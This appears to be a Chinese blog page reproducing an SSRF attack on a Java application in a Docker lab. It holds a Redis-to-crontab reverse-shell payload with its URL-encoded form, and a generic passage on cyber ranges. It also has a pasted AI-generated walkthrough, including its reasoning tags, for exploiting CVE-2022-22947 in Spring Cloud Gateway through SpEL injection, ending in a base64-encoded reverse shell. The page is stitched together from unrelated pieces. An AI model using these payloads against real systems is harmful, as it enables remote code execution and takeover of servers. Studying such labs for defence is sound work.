利用docker进行的SSRF in java的漏洞复现

1、环境搭建

显示错误:Service 'redis' failed to build: The command '/bin/sh -c set -ex     && yum -y update     && yum -y install gcc-c++ tcl wget' returned a non-zero code: 

服务“redis”生成失败:

未安装redis服务器导致,

这里执行docker-compose up --build            //building redis

编写脚本扫描内网开放端口的主机

通过ssrf 探测到内网中redis服务器 ‘172.19.0.2:6379’正常访问
构造脚本写入 目录‘/etc/crontab‘

```
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
```

进行url编码:

```
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```

反弹shell

2.        利用方式
网络请求支持的协议如下
http,https,file,ftp,mailto,jar,netdoc
对比php的ssrf,java这块利用相对局限,

3.        总结
以下几种类引用不当会造成SSRF
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,
修复方案:
•        限制协议为HTTP、HTTPS
•        不用限制302重定向
•        设置URL白名单或者限制内网IP

参考链接:

SSRF漏洞(原理&绕过姿势)

对于Weblogic SSRF漏洞(CVE-2014-4210)

 

靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场为安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发系统和应用的漏洞,并进行渗透测试,从而及时修和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
<think>我们正在处理一个关于使用DockerCVE-2022-22947漏洞的请求。根据提供的引用信息,我们知道这是一个SpringCloudGatewayActuatorAPI的SpEL代码注入漏洞。用户希望得到详细的步骤。环境准备:1.确保系统已安装DockerDockerCompose。2.下载vulhub漏洞测试环境(包含CVE-2022-22947的环境)。步骤:步骤1:下载vulhub步骤2:进入对应的漏洞目录步骤3:启动漏洞环境步骤4:访问目标服务,确认环境启动成功步骤5:利用漏洞执行命令(例如:反弹shell或执行计算器)需要注意的是,漏洞应在授权环境下进行,且仅用于学习目的。我们将按照上述思路给出详细步骤。</think>### 使用 Docker CVE-2022-22947 漏洞的步骤 CVE-2022-22947 是 Spring Cloud Gateway 的 Actuator API 存在的 SpEL 表达式注入漏洞,攻击者可远程执行任意代码。以下是基于 Docker流程: --- #### **1. 环境准备** - **系统要求**:已安装 DockerDocker Compose - **下载漏洞环境**: ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/spring/CVE-2022-22947 ``` --- #### **2. 启动漏洞环境** ```bash docker-compose up -d # 后台启动容器 ``` - 容器启动后,访问 `http://localhost:8080` 确认 Gateway 服务正常运行(显示 Whitelabel Error Page 即正常)[^1]。 --- #### **3. 漏洞利用(执行任意命令)** ##### **步骤 1:添加恶意路由** 发送 POST 请求创建包含恶意 SpEL 表达式的路由: ```bash curl -X POST http://localhost:8080/actuator/gateway/routes/hack \ -H "Content-Type: application/json" \ -d '{ "predicates": [{ "name": "Path", "args": {"_genkey_0":"/hack"} }], "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream()))}" } }], "uri": "http://example.com" }' ``` > **关键参数**: > - `value` 字段:注入 SpEL 表达式,此处执行 `whoami` 命令。 > - 替换 `exec(\"whoami\")` 可执行任意命令(如 `exec(\"touch /tmp/poc\")`)。 ##### **步骤 2:刷新路由使配置生效** ```bash curl -X POST http://localhost:8080/actuator/gateway/refresh ``` ##### **步骤 3:触发恶意路由** 访问路由路径触发命令执行: ```bash curl http://localhost:8080/hack ``` - **结果验证**:响应头中的 `Result` 字段将显示命令执行结果(如当前用户名为 `root`)。 --- #### **4. 反弹 Shell 示例** 将步骤 1 的 `value` 字段替换为反弹 Shell 命令: ```json "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjEwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}\").getInputStream()))}" ``` > 需将 `YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjEwLzQ0NDQgMD4mMQ==` 替换为编码后的反弹 Shell 命令(使用 `base64` 编码)。 --- #### **5. 清理环境** ```bash docker-compose down # 停止并删除容器 ``` --- ### **漏洞原理** - **漏洞点**:`/actuator/gateway/routes` 端点未过滤用户输入,直接解析 SpEL 表达式。 - **利用条件**:需启用 Actuator API 且暴露 `gateway` 端点(默认不暴露)[^2]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值